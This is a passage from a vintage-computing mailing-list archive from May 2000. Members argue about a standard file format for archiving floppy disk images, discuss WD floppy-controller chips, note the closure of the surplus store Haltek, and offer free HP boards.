fact, talking about creating floppy disk archives. Correct me if > I'm wrong, Dick. > > > them on system A when written on system B. The latter's inherently > > solvable, but if you want to archive data about or useful with a given OS, > > you don't have to write the data to a medium capable of reading or > > interpreting the OS image. The primary concern is finding a medium that's > > Dick, why do you propose problems that you just end up arguing against? > Are you even aware that there are other people on this mailing list that > you are communicating with, or do you think this entire conversation is > going on in your head? No one ever proposed what you are railing against > right now. Are you insane? No, really. I'm being serious. Do you > suffer from a mental condition? > > > > > It's just as I said before: You simply want to transmit, but you don't want > > to receive. > > No, Dick. The problem here is you are transmitting, then receiving it > yourself, getting angry at what you read, and then associating it with > whatever hapless fool happens to be in the vicinity at the moment, and > then blaming them for it. > Well, I believe you're probably more worked up than I. I doubt floppies will be around in 10-15 years, though they may be. However, if you don't find a way to avoid this built-in obsolescence, you'll be solving this problem again and again. I don't know what you're thinking about, but, the use of mechanical media of a type that's already been around as long as floppies, and, for that matter, other rotating media. Why not examine some other alternatives? What interested me about this thread was that a decision leading to as many problems as it solved was beginning to emerge. What puzzles me is why it's important that the originating system's identification data has to be included in a file of information, probably otherwise unrelated to the process of recording it. Once you have the means to read that data, it becomes suprefluous, since all that's needed once you're able to read that info is to figure out where the data block you're wanting to transmit begins and ends. If you want to be simple, you write absolutely nothing on the medium other than what you want to pass along. So long as you choose a medium that will be available later on when you want to use it, nothing could be simpler. The key is to use a data format that is easily understood, either because it's already a standard, or because you do things very simply by using one file per diskette, in a compressed format that is easily specified or standardized. With floppies, I don't know how you're going to use your Apple][ to read a diskette from a Kaypro. What's more, I don't know how you'll write a file with your PDP-5 such that a MacIntosh can read it. > > EARTH TO DICK: GET A CLUE. > > Sellam International Man of Intrigue and Danger > -------------------------------------------------------------------------- ----- > Looking for a six in a pile of nines... > > Coming soon: VCF 4.0! > VCF East: Planning in Progress > See http://www.vintage.org for details! > > From richard at idcomm.com Tue May 30 16:58:31 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:08 2005 Subject: Defining Disk Image Dump Standard References: Message-ID: <004101bfca82$323bc3c0$0400c0a8@EAHOME> ----- Original Message ----- From: Sellam Ismail To: Sent: Tuesday, May 30, 2000 2:20 PM Subject: Re: Defining Disk Image Dump Standard > > Ok, since certain individual(s) don't seem to understand what this project > is about, what we are discussing here is DEFINING A STANDARD FILE FORMAT > FOR ARCHIVING FLOPPY DISKETTES FROM DIFFERENT COMPUTING PLATFORMS. > > It is, amazingly, the very same project that was proposed when this > discussion first began. > > Sellam International Man of Intrigue and Danger > -------------------------------------------------------------------------- ----- > Looking for a six in a pile of nines... > > Coming soon: VCF 4.0! > VCF East: Planning in Progress > See http://www.vintage.org for details! > > From foo at siconic.com Tue May 30 16:00:34 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:52:08 2005 Subject: A moment of silence... In-Reply-To: Message-ID: On Tue, 30 May 2000, Mike Ford wrote: > Terribly sad they are closing, but who is getting all their stuff? > > Last time I was in Halted, most of the prices seemed a bit silly, but I > agree the place had character. Halted Specialties (HSC) is a different company. We are talking about HalteK. This whole issue is actually old news. Haltek already had a going out of business sale. It happened a few weeks ago. Whatever didn't sell I assume got scrapped. Eric Smith probably knows more details. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From elvey at hal.com Tue May 30 17:05:55 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:52:08 2005 Subject: A moment of silence... In-Reply-To: Message-ID: <200005302205.PAA27670@civic.hal.com> Mike Ford wrote: > Terribly sad they are closing, but who is getting all their stuff? > > Last time I was in Halted, most of the prices seemed a bit silly, but I > agree the place had character. > Hi Halted is still here, it was Haltek that went under. Dwight From zmerch at 30below.com Tue May 30 17:11:04 2000 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:52:08 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <002401bfca6f$3378d240$0400c0a8@EAHOME> References: Message-ID: <3.0.1.32.20000530181104.00ba7100@mail.30below.com> Rumor has it that Richard Erlacher may have mentioned these words: >Just as an aside, I recently encountered a datasheet for the WD 1773 FDC >(similar to 1770/72). Do you know of any systems in which it was used? Wasn't the 1773 a single-chip version of the 1793, or am I out in Left Field? The early Tandy controllers that required 12V were based on the 1793, and weren't the later 5Vonly ones based on the 1773? I can't remember the numbers anymore... have to go home and look! ;-) See ya, Roger "Merch" Merchberger -- Roger "Merch" Merchberger --- sysadmin, Iceberg Computers Recycling is good, right??? Ok, so I'll recycle an old .sig. If at first you don't succeed, nuclear warhead disarmament should *not* be your first career choice. From Hans.Franke at mch20.sbs.de Tue May 30 17:13:34 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:52:08 2005 Subject: DTD and examples for CCDD (6kB) In-Reply-To: References: <001901bfca47$48077400$0400c0a8@EAHOME> Message-ID: <3934592E.31703.32D1683@localhost> ]> Example for a tape mounted on Drive D0 on Channel 1. Standard type 1 channel T9G (6250bpi) First Tape in Device VOL1TAPE001 BS2000 TSOS 4 UVL1PRIVATE LABEL HDR1FILE1 00010001000100000102000102 000000BS2000 HDR2U020480204841 00 HDR3TSOS COMPLETE.FILE.NAME.OF.FILE1 0 NO REAL DATA INSIDE THIS BLOCK EOF1FILE1 00010001000100000102000102 000001BS2000 EOF2U020480204841 00 EOF33TSOS COMPLETE.FILE.NAME.OF.FILE1 0 This is another CCDD File for a FD of XXXXX running under yyyy. Floppy disk for xxxxxx 000000000000000000000000100E 04110F030000FE000000000000000000 00000000000000000000000000000000 000000000000007A0000000000000000 23010000231001000000000000000000 00000000000000000000000000000000 00000000000000000000000000000000 00000000000000000000000000000000 000000000000000380010000 0000000000000000000000100F02C8C5 CCCCCFA0A0A0A0A0A0A0A0A0A0A0A0A0 A0A0A0A0A0A0A0A0A0A0A00001 -- VCF Europa 2.0 am 28./29. April 2001 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From Hans.Franke at mch20.sbs.de Tue May 30 17:13:34 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:52:08 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: References: Message-ID: <3934592E.28745.32D1692@localhost> > 1. Host computer type (2 bytes allowing up to 65536 models to be > specified) > 2. Hard/soft sector flag > 3. Number of tracks > 4. Track format (host computer specific) > 5. Sector format (single-density, double-density, etc) > 5. Sector data format - this will specify what format the archived sector > is in (raw data? logical bytes?) > 6. Sectors per track > 7. Bytes per sector > 8. Bits per byte You like to have a standard for data description in relation to medias ? So, why going for a stone age aproach like fixed numbers and fields ? Why not a tagged format ? And if we talk about a tagged format, XML should be first choice. In fact, some time ago I did think about almost the same idea. I did develop a first draft of an XML based scheme to describe a mainframe storage situation, to run possible emulators from a complex but detailed defined storage setup. This format can be used also to describe data structured of simple micro computer media. At the moment the DTD is only defined for the data structures - I have not started to define meta informations vor formats and hardware (like your soft/hard sectored flag). I'll post the DTD and two sample configurations in a seperate mail. The first one to recognize the Disk Format described in the second example (And names the content) will get 'prefered helper' state during eVCF 2.0 :)) Or something similar... Basicly the structure is defined as: Channel/Device/Media/Head/Track/Block/Data Chanel/Device ma be omited. Instead of Data, Raw may be used to descrive a 'Physical' content (like Nibble data, as needed to store copy protected data). Raw may also exist not only on Block level, but also on Track, Head or Media Level. Data itself may be encoded in different ways, either Binary, or as 'Hex', or in classic (readable) loader formats, to allow easy transmission of these files across system boundries. Please see the DTD for details. Decoding a XML file is not not a big difference to a fixed format, but _way_ more flexible. Gruss H. P.S.: The DTD is named CCDD for ClassicComputerDeviceData -- VCF Europa 2.0 am 28./29. April 2001 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From gaz_k at lineone.net Mon May 29 07:31:07 2000 From: gaz_k at lineone.net (Gareth Knight) Date: Sun Feb 27 18:52:08 2005 Subject: Documenting how old computers were used References: <004e01bfc732$4fad1a60$0200a8c0@marvin> Message-ID: <001601bfca89$787f4440$d360063e@gaz> Zane H. Healy > If anyone wants to know what I'm talking about research the 'Click of Death'. Anyone read the latest on the click of death? After a year (or two) of admitting there is a fault, Iomega telephone support are blaming the problem on non-standard hardware (anything that is not WinDOS or Mac). It is this type of ignorance that really irritates me... BTW, the link is on ANN, http:///www.ann.lu. -- Gareth Knight Amiga Interactive Guide http://amiga.emugaming.com From steverob at hotoffice.com Tue May 30 17:57:03 2000 From: steverob at hotoffice.com (Steve Robertson) Date: Sun Feb 27 18:52:08 2005 Subject: Unusual weekend find Message-ID: <2921A6D846E9D31182490050040DC0D6682E85@hoexc101.hotoffice.com> > Nice find! Wow, that weighs more than my Dynabyte 5100 system! > Are those 8" hard drives? Naw... They are smaller that that. I guess they are 5"? > > Could that be renamed MP/M or a variant of MP/M? > The DOCs are far from complete but, it looks almost like a "shell" of some sort for CPM. The syntax for the very limited set of commands is similar to CP/M although not quite the same. Most of the commands seem to be associated with file & data security and device allocation. I'm got some MP/M docs here (promised to Joe Rigdon next time I see him) so I can compare the syntax of the two OSs... Although, I suspect that "MLX" is just a security and multitasking layer for CPM? I tried to load CPM using a variety of other BOOT images but, so far no luck. I'll have to drag out some more disks and see any of them will work. Before I got it, the owner had told me that it was running PC-MOS and I posted an inquiry about that OS to the group. Either he was mistaken about the OS or the system can run that OS as well. When the OS loads, it indicates "SYSTEM RESIDENT", then "BASIC RESIDENT", then the password prompt. I have tried to stop the boot process by pressing ^C, ESC, and every other trick that I know. But, so far no luck. When the process is interrupted, the system just halts... Dang it! > What's needed is a good, inexpensive, portable "clean room box." A > while back, I saw one of these somewhere, but it wasn't something > marketed to hobbyists and I doubt that it was inexpensive. I could tell the platters weren't spinning so, figured I really didn't have anything to loose. In a situation like this, I think the greatest risk is when the heads are "ripped" away from the surface rather than contamination. It took a considerable tug to get the thing loosened up again and I'm kinda supprised a chunk of the surface didn't come off. Steve Robertson -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000530/b0a80f50/attachment.html From mikeford at socal.rr.com Tue May 30 18:16:09 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:08 2005 Subject: A moment of silence... In-Reply-To: <200005302205.PAA27670@civic.hal.com> References: Message-ID: >Mike Ford wrote: >> Terribly sad they are closing, but who is getting all their stuff? >> >> Last time I was in Halted, most of the prices seemed a bit silly, but I >> agree the place had character. >> > >Hi > Halted is still here, it was Haltek that went under. >Dwight Is HSC the place across the street from WSW and Fry's? Where was Haltek? From allisonp at world.std.com Tue May 30 16:54:59 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:08 2005 Subject: Defining Disk Image Dump Standard Message-ID: <006201bfca86$19013080$7964c0d0@ajp166> >On Tue, 30 May 2000, Richard Erlacher wrote: > >> I never understood why the double density CP/M diskettes were not bootable, >> and why "distribution-standard" diskettes had to be bootable. These are two >> different features, and what's important about the "standard" is not that >> it's bootable but that it's defined so as to be universally readable. That was bogus. The list of system that booted off DD tracks both 8"and 5.25" runs long. The standard for CP/M was 8" SSSD FYI. Also AMPROLB, VT180, DECMATEII/III with CP/M APU, NS* DD/QD systems, SB180, Visual1050, Later Kaypros to name a few with 5.25 DD or QD systems. >> The thing that made 5-1/4" "standard" diskettes unachievable back in the >> CP/M days was that people couldn't let go of the notion that every diskette >> had to be bootable. Frankly, I got fine mileage out of diskettes which >> couldn't be booted, yet I never had a problem booting up. This is bogus as CP/M inferred no difference between bootable system disks and non bootble data disks as the format was the same (they could also be different if desired). Bootable media was only important to single disk systems Even then there were utilities to sidestep this. Lastly for the CP/M case there was no specific requirement to boot from disk at all and the EPSON PX-8 was a commercial example of that. Allison From allisonp at world.std.com Tue May 30 17:07:54 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:08 2005 Subject: Defining Disk Image Dump Standard Message-ID: <006401bfca86$1b08c050$7964c0d0@ajp166> >I always figured the reason for the restriction was dumb boot PROMs, which >only know how to do programmed I/O to the FDC, and 8" DD comes in too fast >for typical 8-bit CPUs of the time to handle with PIO. If the boot PROM on >a particular system is smart enough to set up DMA, no need to require SD. it's an artifact of how people though the DDmedia was speced by IBM and a lack of knowledge of CP/M boot as everyone just followed the book blindly. Not all required {or even had it!} DMA to do DD, CCS didn't. I'd add that DMA was mostly uncommon save for the more refined or robust systems. Allison From allisonp at world.std.com Tue May 30 16:57:41 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:08 2005 Subject: Defining Disk Image Dump Standard Message-ID: <006301bfca86$1a345950$7964c0d0@ajp166> >> Just as an aside, I recently encountered a datasheet for the WD 1773 FDC >> (similar to 1770/72). Do you know of any systems in which it was used? No, they are not the same. the latter will do DD and the 1773 was single density. The 1773 was used on TRS80, Icom, and other early systems that were softsector. Allison From allisonp at world.std.com Tue May 30 17:19:10 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:08 2005 Subject: Defining Disk Image Dump Standard Message-ID: <006501bfca86$1c38dbe0$7964c0d0@ajp166> >>Just as an aside, I recently encountered a datasheet for the WD 1773 FDC >>(similar to 1770/72). Do you know of any systems in which it was used? the 1770/1772 was the 1793+8229+glue on one chip. >Wasn't the 1773 a single-chip version of the 1793, or am I out in Left The 1773 was the earlier single density controller. The 1793 was the later DD and SD controller in nearly the same pinout and basic IO. >Field? The early Tandy controllers that required 12V were based on the >1793, and weren't the later 5Vonly ones based on the 1773? No. The tandy used the 1773 and was wired to provice the -5V and +12V as needed but there were parts that didn't use the -5V (SMC 1773). The 1793 wanted +12 and +5 though there were 5volty only versions later on. Allison From ard at p850ug1.demon.co.uk Tue May 30 17:52:23 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:08 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: from "Sellam Ismail" at May 30, 0 01:56:09 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 7639 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000530/78f6115a/attachment.ksh From allisonp at world.std.com Tue May 30 17:24:54 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:08 2005 Subject: Defining Disk Image Dump Standard Message-ID: <006601bfca86$1cfaf360$7964c0d0@ajp166> >> The way you separate the operating system from the executables is by never, >> Never, NEVER, mixing them on the same medium, particularly if it's intended >> for dissemination. If the platforms are disparate, you certainly don't need > >Ok, Mr. Wizard. Build a time machine, travel back in time, and urge all >the various computer manufacturers to never, NEVER mix their OS with the >rest of the program space on the disk. Fortunately, we are not trying to >revise the reality of our world, but are merely trying to deal with what >it has become, which is a much simpler procedure. Done! the OS was never mixed with data on CPM disks until CPM3 and CPM86. the system booted off OS specific tracks and DATA was never stored there and SYSTEM was never stored on DATA tracks. This applies to CP/M {1.3, 1.4, 2.0, 2.2} explicitly and many others as well. It makes little difference though. as then only reason is to make the boot easier as the booter then doesn't have to know the file system to read and launch the system which for cpm wasn't defined until boot completed (as the system tables were part of the boot image). Allison From ard at p850ug1.demon.co.uk Tue May 30 18:06:14 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:08 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: from "Mike Ford" at May 30, 0 02:55:20 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 509 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000531/50653dee/attachment.ksh From ard at p850ug1.demon.co.uk Tue May 30 18:10:13 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:08 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <3.0.1.32.20000530181104.00ba7100@mail.30below.com> from "Roger Merchberger" at May 30, 0 06:11:04 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1118 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000531/987b2cb9/attachment.ksh From richard at idcomm.com Tue May 30 18:19:45 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:08 2005 Subject: Defining Disk Image Dump Standard References: Message-ID: <004b01bfca8d$8b9d3b00$0400c0a8@EAHOME> You don't get it, do you? I'm saying it's probably a bad idea to use floppy media. This is because it's mechanical, (2) because it's organic, and (3) because it is soon to become obsolete. Aside from problems of data format incompatibility, you have to deal with the mechanism to be able to read/write the archive's constituent elements. If an element of any medium has more than one file on it, not necessarily a bad thing though I'd say it's risky and inconvenient, that file can identify itself at its beginning and end, Begin , End . That way it doesn't matter over time what the medium is, at least insofar as your file format is concerned. The choice of medium is important, since floppies, however handy, are not going to be around forever. CD's are probably too small for some things, but maybe they're a better format. They're organic, too, however, so they'll be unduly sensitive to heat, not to mention chemicals, etc. Floppies are much less stabile over varying environmental conditions. OTP EPROMS are pretty stabile, however, and they're VERY small. If you're serious about creating an archive. It needs to be permanent, so it's essentially requisite that the media be write-once. I'd say you're better off with an OTP EPROM. Hardware to create them is dirt-simple to create, eraseable/rewritable equivalents are readily available, and even if the OTP's (very inexpensive, by the way) become scarce, there will still be rewritables available which can be write protected by removing the VPP or program pin. Use those and you'll have a real archive. What's more, there are no mechanical components, nothing to rust, become misaligned, or wear out. If you build your own archival system you have the option of choosing a different medium. That's what I'm recommending. I say that the following points are under consideration: > 1. Host computer type (2 bytes allowing up to 65536 models to be specified) > 1a. Host computer format, to allow for machines that support several native formats (e.g. PERQ POS floppy/PERQ PNX floppy/PERQ interchange floppy) > 2. Track format (host computer specific) I assume things like the interleave order go in here. > 3. Sector format (single-density, double-density, etc) > 4. Sector data format - this will specify what format the archived sector is in (raw data? logical bytes?) > 5. Bytes per sector > 6. Bits per byte None of these need be an issue if you use another medium, e.g. OTP EPROM. Dick ----- Original Message ----- From: Sellam Ismail To: Sent: Tuesday, May 30, 2000 2:20 PM Subject: Re: Defining Disk Image Dump Standard > > Ok, since certain individual(s) don't seem to understand what this project > is about, what we are discussing here is DEFINING A STANDARD FILE FORMAT > FOR ARCHIVING FLOPPY DISKETTES FROM DIFFERENT COMPUTING PLATFORMS. > > It is, amazingly, the very same project that was proposed when this > discussion first began. > > Sellam International Man of Intrigue and Danger > -------------------------------------------------------------------------- ----- > Looking for a six in a pile of nines... > > Coming soon: VCF 4.0! > VCF East: Planning in Progress > See http://www.vintage.org for details! > > From richard at idcomm.com Tue May 30 18:25:07 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:08 2005 Subject: A moment of silence... References: <200005302205.PAA27670@civic.hal.com> Message-ID: <006501bfca8e$4de9d4c0$0400c0a8@EAHOME> Back in the '80's, Haltek was more of an engineering house, while Halted, with whom they shared a phone number or warehouse address or some such, was the surplus outlet. That's the sense I got from them when I inquired about some surplus voice synthesis hardware I bought there. It's possible things changed way back when, but that's the sense I got (1) from them (Halted) and (2) from the combination of documents I got from them after buying the things I bought. (ca. 1984). Dick ----- Original Message ----- From: Dwight Elvey To: Sent: Tuesday, May 30, 2000 4:05 PM Subject: Re: A moment of silence... > Mike Ford wrote: > > Terribly sad they are closing, but who is getting all their stuff? > > > > Last time I was in Halted, most of the prices seemed a bit silly, but I > > agree the place had character. > > > > Hi > Halted is still here, it was Haltek that went under. > Dwight > From richard at idcomm.com Tue May 30 18:27:50 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:08 2005 Subject: Defining Disk Image Dump Standard References: <3.0.1.32.20000530181104.00ba7100@mail.30below.com> Message-ID: <006b01bfca8e$b09e62c0$0400c0a8@EAHOME> The 1770/72/73 were 28-pin parts with output buffers suitable for driving a cable and with internal data/clock separator, and a few other features, but still code-compatible (sort-of) with the 179x series. The 177x series of which I write were for 5-1/4" diskettes only. The 1773 has slightly different pins, two of them, than the other two members of its family. Dick ----- Original Message ----- From: Roger Merchberger To: Sent: Tuesday, May 30, 2000 4:11 PM Subject: Re: Defining Disk Image Dump Standard > Rumor has it that Richard Erlacher may have mentioned these words: > > >Just as an aside, I recently encountered a datasheet for the WD 1773 FDC > >(similar to 1770/72). Do you know of any systems in which it was used? > > Wasn't the 1773 a single-chip version of the 1793, or am I out in Left > Field? The early Tandy controllers that required 12V were based on the > 1793, and weren't the later 5Vonly ones based on the 1773? > > I can't remember the numbers anymore... have to go home and look! ;-) > > See ya, > Roger "Merch" Merchberger > -- > Roger "Merch" Merchberger --- sysadmin, Iceberg Computers > Recycling is good, right??? Ok, so I'll recycle an old .sig. > > If at first you don't succeed, nuclear warhead > disarmament should *not* be your first career choice. > From allisonp at world.std.com Tue May 30 17:37:34 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:08 2005 Subject: Unusual weekend find Message-ID: <008001bfca88$77e0afc0$7964c0d0@ajp166> First off, use plain text not RTF or other indigestable formats for messages. > Could that be renamed MP/M or a variant of MP/M? > Could be or Turbodos. OSs... Although, I suspect that "MLX" is just a security and multitasking layer for CPM? Only if it were vanilla CPM as MPM was already multitasking. I tried to load CPM using a variety of other BOOT images but, so far no luck. I'll have to drag out some more disks and see any of them will work. Unlike PCs CPM system had no common bios (commonly none in rom!) so a booter from a like machine might boot and run but not work as the IO could be at different addresses or even use different serial devices {8250, 8251 and Z80 SIO were not similar). Allison From ss at allegro.com Tue May 30 18:36:05 2000 From: ss at allegro.com (Stan Sieler) Date: Sun Feb 27 18:52:08 2005 Subject: free: misc cards for HP 9000 / HP 3000 & other In-Reply-To: <3933A0BF.22269.1EA91F6B@localhost> Message-ID: <3933EDF5.30168.1FD6C4D8@localhost> Hi, The HP 3000/37 boards are now claimed. The rest is still available. > I have the following cards and MUX panels available for free > (for non-ebay use, and you pay shipping): > > HP 3000/9x5 / HP 9000/8x5 boards: > > 6 port MUX & cable: board 27140-81001?, cable 28659-63002 > > (I have two of the above boards/cables) > > (note: they might possibly work in a 9x7 / 8x7) > > MUX Panels: > > 40290-60003: RS 232C Panel 25 Pin (8-port) > > 40299-60002: RS 232C Full Modem (8-port) > > Note: neither of the above panels work with either of the > above boards/cables. (I.e., the cable/plug aren't even the > same size.) Nor do I have cables for these panels. > > HP 30000/37 ("Mighty Mouse") boards: > > 3000/37 MUX (no cable or panel) > > 3000/37 1/2 MB memory > > Misc: > > SDI PCA DTC Card: 02345-60021 > > (No, I don't know what it is, either!) > > AFAIK, all cards were in working order when pulled from > equipment. > > They're at our office in Cupertino, CA. > > Those that aren't spoken for will probably be offered on eBay > in a week or so, but I wanted ClassicCmp readers to get first chance. > > thanks, > > Stan Sieler sieler@allegro.com > www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler > Stan Sieler sieler@allegro.com www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler From richard at idcomm.com Tue May 30 18:40:57 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:08 2005 Subject: Defining Disk Image Dump Standard References: <006301bfca86$1a345950$7964c0d0@ajp166> Message-ID: <007701bfca90$836e2b80$0400c0a8@EAHOME> My data sheet makes it clear that the device uses both FM and MFM, but only supports up to 250Kbps rates. it says, "With the exception of the Enable Precomp/Ready line, the WD1773 is identical to the WD1770 Controller." It also says "Single (FM) and Double (MFM) density." The fact that Western left off the MO (motor-on) pin in favor of that enable Precomp/ready seems to suggest that the device just might be capable of handling 8" drives. I wonder if it can handle the clocks appropriately. I've never seen one of these puppies. It would be interesting to know how one is expected to use the precomp enable (/TG43 on a 179x) for anything useful if the data is internally generated. That may explain why I've never seen one. The offer a READY input on that same pin, for use on step and read operations. I don't know how one is supposed to steer those two signals since the associated signals are internally used from the same pin. It's a good thing that sheet says "PRELIMINARY" at the top. I've checked to make certain I haven't got a sample or two stashed away somewhere. Dick ----- Original Message ----- From: allisonp To: Sent: Tuesday, May 30, 2000 3:57 PM Subject: Re: Defining Disk Image Dump Standard > >> Just as an aside, I recently encountered a datasheet for the WD 1773 FDC > >> (similar to 1770/72). Do you know of any systems in which it was used? > > > No, they are not the same. the latter will do DD and the 1773 was single > density. > The 1773 was used on TRS80, Icom, and other early systems that were > softsector. > > Allison > > From ard at p850ug1.demon.co.uk Tue May 30 18:42:19 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:08 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <006301bfca86$1a345950$7964c0d0@ajp166> from "allisonp" at May 30, 0 05:57:41 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 695 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000531/de3aeaec/attachment.ksh From elvey at hal.com Tue May 30 18:48:22 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:52:08 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: Message-ID: <200005302348.QAA28909@civic.hal.com> Hi It was not specifically mentioned but I also think we should archive a method to boot strap the machine from ground zero, were this can be done with things like front panels or ROM monitors. I realize that this may not always be provided by the original manufacture but I am currently in the process of doing just that to the second machine. This may even need the inclussion of special hardware or blowing of custom ROM's but it is also needed. As was stated by others, the media for archiving needs to be in a currently common format that is supported by todays machines. It has also been generally recognized that it should be occasionally brought up to date by moving to newer media. It is my opinion that this should be done on an overlapping basis, such as today, we might use both floppies and CD ROM's. Multiple copies stored in multiple locations is also needed as well as some form of scheduled refreshing, with overlapping copies on the same media. I don't think that we should even try to save data in the original format as long as there is a method such as I mentions above to restore data to the original media. Saving the data in DOS files is a proper method and meets the needs of archiving. One also has to consider that some software is composed of a number of elements. As was mentioned, even in CPM, part of the OS might be in a file. This means that the method of saving must include the ability to link a number of pieces that were not necessarily tied together as a single data stream. Another thing that wasn't talked about was CRC's. Even though most media has built in CRC's, there is no way to detect a failure in the communications between the new and old media. I suggest that this be at least a two level CRC. The first level would be on small blocks of data that the CRC could do error correction on with a reasonable burst size compared to the block size. The next level would have a larger CRC with a burst correction size that would be greater than two times the lower levels CRC. This last level of CRC would have several copies of the CRC value scattered through the data stream. As an example, CRC-32 can fix a burst of 12 bad bits. I would limit the block size for this CRC to about 512 bytes. A larger CRC would be needed for the top level CRC. I also doubt, that most people realize that there are other types of data encoding than MFM and FM. Intels M2FM comes to mind, as well as the Apple format. It was stated that people felt that it would not be practical to make a piece of hardware that could read any arbitrary format. I contend that as long as that format could have been read or written through that drive that a simple DSP chip could be used to make a universal controller chip. Vary little hardware, other than a simple development board, would be needed. I find it hard to believe that one couldn't cover 99% of what is out there. At least, as long as we where talking about floppies or some of the raw media hard drives. To show the variety of things, the machine I'm working on has two sectors per track of 20480 bits. This is on 32 hard sectored media. It is regular FM, though. Just my thoughts Dwight From foo at siconic.com Tue May 30 17:51:09 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:52:08 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <006601bfca86$1cfaf360$7964c0d0@ajp166> Message-ID: On Tue, 30 May 2000, allisonp wrote: > Done! the OS was never mixed with data on CPM disks until CPM3 and > CPM86. > > the system booted off OS specific tracks and DATA was never stored there > and SYSTEM was never stored on DATA tracks. This applies to CP/M > {1.3, 1.4, 2.0, 2.2} explicitly and many others as well. Yes, same with the Apple ][ pretty much, although you could free up some sectors on track 2 for data use if desired on some versions of DOS. Anyway, I don't know what the issue is about. The fact is we aren't archiving specific sections of the diskette but rather the entire diskette as a whole. Richard, as usual, invented a complexity in order to have something to argue around. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From oliv555 at arrl.net Tue May 30 18:54:04 2000 From: oliv555 at arrl.net (Nick Oliviero) Date: Sun Feb 27 18:52:08 2005 Subject: A moment of silence... References: Message-ID: <3934549C.57BD47E@arrl.net> Haltek was on Linda Vista right around the corner from the Mexican restaurant. Question. Did their Test Equipment store, right next door, also close? They used to put on a great parking lot sale every summer. One time they got hold of about a dozen Collins 51S1's. Got there just in time to see the last 2 get scooped up right before my eyes. Went for about $175 apiece as I recall........ aaargh.. Nick Mike Ford wrote: > > Is HSC the place across the street from WSW and Fry's? > > Where was Haltek? From richard at idcomm.com Tue May 30 18:54:49 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:08 2005 Subject: Defining Disk Image Dump Standard References: <006201bfca86$19013080$7964c0d0@ajp166> Message-ID: <007d01bfca92$71a5f200$0400c0a8@EAHOME> What I meant by that, Allison, was that I failed to understand why they (the makers of controllers capable of handling both single and double density diskettes of both sizes) weren't ALL bootable from any of those formats right out of the box, since they could have been. Have a look below, plz. Dick ----- Original Message ----- From: allisonp To: Sent: Tuesday, May 30, 2000 3:54 PM Subject: Re: Defining Disk Image Dump Standard > > >On Tue, 30 May 2000, Richard Erlacher wrote: > > > >> I never understood why the double density CP/M diskettes were not > bootable, > >> and why "distribution-standard" diskettes had to be bootable. These are > two > >> different features, and what's important about the "standard" is not that > >> it's bootable but that it's defined so as to be universally readable. > > > That was bogus. The list of system that booted off DD tracks both 8"and > 5.25" > runs long. > > The standard for CP/M was 8" SSSD FYI. > > Also AMPROLB, VT180, DECMATEII/III with CP/M APU, > NS* DD/QD systems, SB180, Visual1050, Later Kaypros to > name a few with 5.25 DD or QD systems. > It's news to me that any of these handle 8" media. > > >> The thing that made 5-1/4" "standard" diskettes unachievable back in the > >> CP/M days was that people couldn't let go of the notion that every > diskette > >> had to be bootable. Frankly, I got fine mileage out of diskettes which > >> couldn't be booted, yet I never had a problem booting up. > > > This is bogus as CP/M inferred no difference between bootable system > disks and non bootble data disks as the format was the same (they could > also be different if desired). Bootable media was only important to single > disk systems Even then there were utilities to sidestep this. Lastly for > the > CP/M case there was no specific requirement to boot from disk at 